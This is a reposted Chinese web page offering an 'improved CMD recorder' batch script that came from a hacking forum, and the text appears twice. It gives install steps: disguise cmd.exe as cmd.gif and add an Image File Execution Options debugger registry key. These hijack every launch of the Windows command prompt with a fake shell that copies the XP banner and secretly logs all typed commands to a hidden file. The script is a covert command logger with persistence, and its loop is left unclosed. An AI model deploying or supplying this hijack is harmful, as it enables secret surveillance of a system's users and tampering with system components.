CMD记录器改良版代码
程序员文章站
2024-01-01 17:20:16
安装 把代码保存为cmd.bat 放置system32下 把cmd.exe copy为cmd.gif 注册表 ...
安装 把代码保存为cmd.bat 放置system32下 把cmd.exe copy为cmd.gif
注册表 添加
hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\cmd.exe
字串 debugger
字串内容 cmd.gif /c cmd.bat
@echo off
title %comspec%
rem cmd 记录器 改良版
rem 原作者 superjj(可能是马甲!)
rem 原文的地址:https://forum.eviloctal.com/read-htm-tid-13905-fpage-0-toread--page-2.html
rem 由我allyesno 改良(是本人不是马甲!)
rem 容错代码就不改良了,一些细节部分自己添加!
setlocal enabledelayedexpansion
echo microsoft windows xp [版本 5.1.2600]
echo (c) 版权所有 1985-2001 microsoft corp.
echo.
for /l %%i in (0,0,0) do (
set /p strcmd=%cd%^>
if "!strcmd!"=="whoami" echo allyesno&set strcmd=
if "!strcmd!"=="log" type %windir%history.txt&set strcmd=
if "!strcmd!"=="logclear" del %windir%history.txt&set strcmd=
for /f "delims=" %%i in ("!strcmd!") do echo %%i >>%windir%history.txt
!strcmd!
echo.
注册表 添加
hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\cmd.exe
字串 debugger
字串内容 cmd.gif /c cmd.bat
复制代码 代码如下:
@echo off
title %comspec%
rem cmd 记录器 改良版
rem 原作者 superjj(可能是马甲!)
rem 原文的地址:https://forum.eviloctal.com/read-htm-tid-13905-fpage-0-toread--page-2.html
rem 由我allyesno 改良(是本人不是马甲!)
rem 容错代码就不改良了,一些细节部分自己添加!
setlocal enabledelayedexpansion
echo microsoft windows xp [版本 5.1.2600]
echo (c) 版权所有 1985-2001 microsoft corp.
echo.
for /l %%i in (0,0,0) do (
set /p strcmd=%cd%^>
if "!strcmd!"=="whoami" echo allyesno&set strcmd=
if "!strcmd!"=="log" type %windir%history.txt&set strcmd=
if "!strcmd!"=="logclear" del %windir%history.txt&set strcmd=
for /f "delims=" %%i in ("!strcmd!") do echo %%i >>%windir%history.txt
!strcmd!
echo.